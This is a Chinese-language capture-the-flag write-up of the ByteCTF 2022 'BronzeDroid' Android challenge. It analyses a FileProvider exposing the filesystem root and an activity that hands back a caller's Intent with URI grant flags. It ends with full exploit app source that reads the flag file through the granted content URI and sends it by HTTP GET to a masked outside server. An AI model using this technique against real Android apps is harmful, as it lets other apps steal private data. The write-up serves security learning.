ByteDroid2022 BronzeDroid复现 APK分析 AndroidManifest.xml FileProvider用来把 App 内部文件,用 content:// 的方式安全地共享出去
Android开始直接禁用file://共享
而@xml/file_path定义了可分享的范围:
1 2 3 4 <?xml version="1.0" encoding="utf-8" ?> <paths > <root-path name ="root" path ="" /> </paths >
<root-path> 的意思是:把设备文件系统的根目录 /作为可共享的基准路径
path="" 基本等价于:不做任何子目录限制
name="root" 只是一个别名(后面构造 content:// 路径时会用到)
然后的一些InitializationProvider初始化了一些组件,在启动时,似乎跟题目没有关系,emohi2什么的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?xml version="1.0" encoding="utf-8" ?> <manifest xmlns:android ="http://schemas.android.com/apk/res/android" android:versionCode ="1" android:versionName ="1.0" android:compileSdkVersion ="32" android:compileSdkVersionCodename ="12" package ="com.bytectf.bronzedroid" platformBuildVersionCode ="32" platformBuildVersionName ="12" > <uses-sdk android:minSdkVersion ="21" android:targetSdkVersion ="32" /> <application android:theme ="@style/Theme.BronzeDroid" android:label ="@string/app_name" android:icon ="@mipmap/ic_launcher" android:debuggable ="true" android:allowBackup ="true" android:supportsRtl ="true" android:fullBackupContent ="@xml/backup_rules" android:roundIcon ="@mipmap/ic_launcher_round" android:appComponentFactory ="androidx.core.app.CoreComponentFactory" android:dataExtractionRules ="@xml/data_extraction_rules" > <activity android:name ="com.bytectf.bronzedroid.MainActivity" android:exported ="true" > <intent-filter > <action android:name ="android.intent.action.MAIN" /> <category android:name ="android.intent.category.LAUNCHER" /> </intent-filter > </activity > <receiver android:name ="com.bytectf.bronzedroid.FlagReceiver" android:exported ="false" > <intent-filter > <action android:name ="com.bytectf.SET_FLAG" /> </intent-filter > </receiver > <provider android:name ="androidx.core.content.FileProvider" android:exported ="false" android:authorities ="com.bytectf.bronzedroid.fileprovider" android:grantUriPermissions ="true" > <meta-data android:name ="android.support.FILE_PROVIDER_PATHS" android:resource ="@xml/file_paths" /> </provider > <provider android:name ="androidx.startup.InitializationProvider" android:exported ="false" android:authorities ="com.bytectf.bronzedroid.androidx-startup" > <meta-data android:name ="androidx.emoji2.text.EmojiCompatInitializer" android:value ="androidx.startup" /> <meta-data android:name ="androidx.lifecycle.ProcessLifecycleInitializer" android:value ="androidx.startup" /> </provider > </application > </manifest >
MainActivity 如果action是ACTION_SHARET_TO_ME
就setResult-1,把启动时的intent原样返回
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package com.bytectf.bronzedroid;import android.app.Activity;import android.content.Intent;import android.os.Bundle;public class MainActivity extends Activity { @Override protected void onCreate (Bundle savedInstanceState) { super .onCreate(savedInstanceState); setContentView(R.layout.activity_main); Intent intent = getIntent(); String action = intent.getAction(); if (action != null && action.equals("ACTION_SHARET_TO_ME" )) { setResult(-1 , getIntent()); finish(); } } }
FlagReceiver 跟之前一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 package com.bytectf.bronzedroid;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.util.Log;import java.io.File;import java.io.FileWriter;import java.io.IOException;public class FlagReceiver extends BroadcastReceiver { @Override public void onReceive (Context context, Intent intent) { String flag = intent.getStringExtra("flag" ); if (flag != null ) { File file = new File (context.getFilesDir(), "flag" ); writeFile(file, flag); Log.e("FlagReceiver" , "received flag." ); } } private void writeFile (File file, String s) { FileWriter writer = null ; try { try { try { writer = new FileWriter (file, true ); writer.write(s); writer.write(10 ); writer.close(); } catch (IOException e) { e.printStackTrace(); if (writer != null ) { writer.close(); } } } catch (IOException e2) { e2.printStackTrace(); } } catch (Throwable th) { if (writer != null ) { try { writer.close(); } catch (IOException e3) { e3.printStackTrace(); } } throw th; } } }
漏洞分析及APP构建 跟BabyDroid原理一样,返回Intent时就可以带读写权限了
官方原话:
Call this to set the result that your activity will return to its caller.
As of Build.VERSION_CODES.GINGERBREAD, the Intent you supply here can have Intent.FLAG_GRANT_READ_URI_PERMISSION and/or Intent.FLAG_GRANT_WRITE_URI_PERMISSION set. This will grant the Activity receiving the result access to the specific URIs in the Intent. Access will remain until the Activity has finished (it will remain across the hosting process being killed and other temporary destruction) and will be added to any existing set of URI permissions it already holds.
也就是说setResult 可以在原本intent设置 Intent.FLAG_GRANT_READ_URI_PERMISSION 和Intent.FLAG_GRANT_WRITE_URI_PERMISSION的情况下授予接收结果的 Activity 访问 Intent 中指定的 URI 的权限,权限将一直保持直到Activity结束(直到接收结果的 Activity 自己结束 )。
MainActivity:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 package com.bytectf.pwnbronzedroid;import android.content.Intent;import android.net.Uri;import android.os.Bundle;import android.util.Log;import androidx.activity.EdgeToEdge;import androidx.annotation.Nullable;import androidx.appcompat.app.AppCompatActivity;import java.io.BufferedReader;import java.io.FileNotFoundException;import java.io.IOException;import java.io.InputStream;import java.net.HttpURLConnection;import java.net.URL;public class MainActivity extends AppCompatActivity { @Override protected void onCreate (Bundle savedInstanceState) { super .onCreate(savedInstanceState); EdgeToEdge.enable(this ); setContentView(R.layout.activity_main); Intent intent = new Intent (); intent.setAction("ACTION_SHARET_TO_ME" ); intent.setClassName("com.bytectf.bronzedroid" , "com.bytectf.bronzedroid.MainActivity" ); intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION); intent.setData(Uri.parse("content://com.bytectf.bronzedroid.fileprovider/root/data/data/com.bytectf.bronzedroid/files/flag" )); startActivityForResult(intent,666 ); } @Override protected void onActivityResult (int requestCode, int resultCode, @Nullable Intent data) { super .onActivityResult(requestCode, resultCode, data); try { InputStream inputStream = null ; inputStream = getContentResolver().openInputStream(data.getData()); byte [] flag = new byte [inputStream.available()]; inputStream.read(flag); inputStream.close(); httpGet(new String (flag)); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } private void httpGet (String msg) { new Thread (new Runnable () { @Override public void run () { HttpURLConnection connection = null ; BufferedReader reader = null ; try { URL url = new URL ("http://xxxxxxxxxxxx/?msg=" + msg); connection = (HttpURLConnection) url.openConnection(); connection.setRequestMethod("GET" ); connection.getInputStream(); } catch (IOException e) { e.printStackTrace(); } } }).start(); } }